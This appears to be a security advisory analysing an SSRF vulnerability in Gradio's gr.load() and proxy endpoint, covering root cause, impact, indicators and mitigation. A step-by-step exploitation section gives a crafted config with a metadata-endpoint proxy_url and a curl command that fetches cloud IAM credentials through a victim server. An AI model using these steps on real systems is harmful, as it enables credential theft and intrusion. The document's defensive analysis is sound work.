CVE-2026-28416: 
Gradio vulnerability analysis and mitigation

CVE-2026-28416 is a Server-Side Request Forgery (SSRF) vulnerability in Gradio, an open-source Python package for rapid ML interface prototyping. The flaw allows an unauthenticated attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space with a crafted proxy_url in its configuration. All Gradio versions prior to 6.6.0 (including the latest 6.5.1 at time of disclosure) are affected. The vulnerability was published on February 27, 2026, with a fix released in version 6.6.0. It carries a CVSS v3.1 base score of 8.2 (High) (GitHub Advisory, Gradio Security Advisory).

The root cause is CWE-918 (Server-Side Request Forgery), stemming from insufficient validation of the proxy_url field in externally fetched Space configurations. When gr.load() is called, it invokes Blocks.from_config() in gradio/external.py:630, which fetches the remote Space's config and unconditionally adds the attacker-controlled proxy_url to the internal allowlist (self.proxy_urls) in gradio/blocks.py:1231-1233. Every Gradio app exposes a built-in /proxy={url_path} reverse proxy endpoint (gradio/routes.py:1029-1031), and the host-based validation in gradio/routes.py:365-368 only checks whether the requested URL's host matches any trusted proxy_url host — meaning an attacker-supplied host (e.g., 169.254.169.254) passes validation. A public proof-of-concept is available at https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6 (Gradio Security Advisory, GitHub Advisory).

Successful exploitation enables an attacker to access cloud instance metadata endpoints (e.g., AWS 169.254.169.254, GCP, Azure equivalents) to steal IAM credentials, reach internal databases, admin panels, and APIs on private networks, perform network reconnaissance to map internal infrastructure, and exfiltrate sensitive data through the victim's server. The vulnerability requires no authentication or user interaction, and the confidentiality impact is rated High with additional low integrity impact. Enterprise deployments and HuggingFace Spaces that compose or embed other Spaces are particularly at risk due to their access to internal networks (Gradio Security Advisory, GitHub Advisory).

A public proof-of-concept exploit exists, published by the reporter (logicx24) at a public GitHub Gist (Gradio Security Advisory). As of the time of reporting, there is no confirmed evidence of in-the-wild exploitation or threat actor attribution. The EPSS score is approximately 0.018% (0.03% per Feedly), placing it in the 5th percentile for exploitation likelihood within 30 days. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory).

1. Create a malicious Gradio Space: The attacker hosts a Gradio Space (e.g., on HuggingFace) that serves a crafted configuration JSON containing a malicious proxy_url, such as http://169.254.169.254/ (AWS instance metadata endpoint) or any internal service address:

{
  "mode": "blocks",
  "components": [...],
  "proxy_url": "http://169.254.169.254/"
}

2. Induce victim to load the malicious Space: The attacker tricks a victim application developer into loading the malicious Space using gr.load():

import gradio as gr
demo = gr.load("attacker/malicious-space")
demo.launch(server_name="0.0.0.0", server_port=7860)

3. Allowlist poisoning: When the victim app starts, Blocks.from_config() fetches the attacker's config and adds http://169.254.169.254/ to self.proxy_urls without validation.
4. Exploit the built-in proxy endpoint: The attacker sends HTTP GET requests to the victim's exposed /proxy= endpoint, routing them through the victim's server to the internal target:

curl "http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"

5. Harvest credentials or enumerate internal services: The victim's server proxies the request to the metadata endpoint and returns cloud IAM credentials or internal service responses to the attacker (Gradio Security Advisory, GitHub Advisory).

• Network: Outbound HTTP requests from the Gradio server process to 169.254.169.254 (AWS metadata), metadata.google.internal (GCP), or 169.254.169.254/metadata (Azure); unexpected outbound connections to internal IP ranges (RFC 1918) originating from the Gradio process.
• Logs: Gradio access logs showing requests to /gradio_api/proxy=http://169.254.169.254/... or /proxy=http://10.x.x.x/...; repeated proxy endpoint access from external IP addresses.
• Application Behavior: Gradio app configuration (self.proxy_urls) containing unexpected or internal IP addresses such as 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, or 192.168.0.0/16 after loading an external Space.
• File System: Presence of gr.load() calls in application code referencing untrusted or unknown Space identifiers (Gradio Security Advisory).

Upgrade Gradio to version 6.6.0 or later, which fixes the vulnerability by no longer blindly trusting the proxy_url from externally fetched Space configurations (GitHub Advisory, Gradio Security Advisory). As interim mitigations: only use gr.load() with trusted, known, and internally controlled Spaces; implement network egress controls to block outbound connections from Gradio servers to cloud metadata endpoints (169.254.169.254) and internal RFC 1918 address ranges; and apply network segmentation to limit the blast radius of any SSRF exploitation.

The vulnerability was reported by security researcher logicx24, who also published a full proof-of-concept on GitHub Gist. The advisory was published by Gradio maintainer freddyaboulton on February 27, 2026. The issue received coverage from automated threat intelligence feeds including Qualys (detection ID 531001), INCIBE-CERT, and ENISA's EUVD (EUVD-2026-9084). Social media activity was observed on Bluesky from CVE tracking accounts and security news aggregators (GitHub Advisory, Gradio Security Advisory).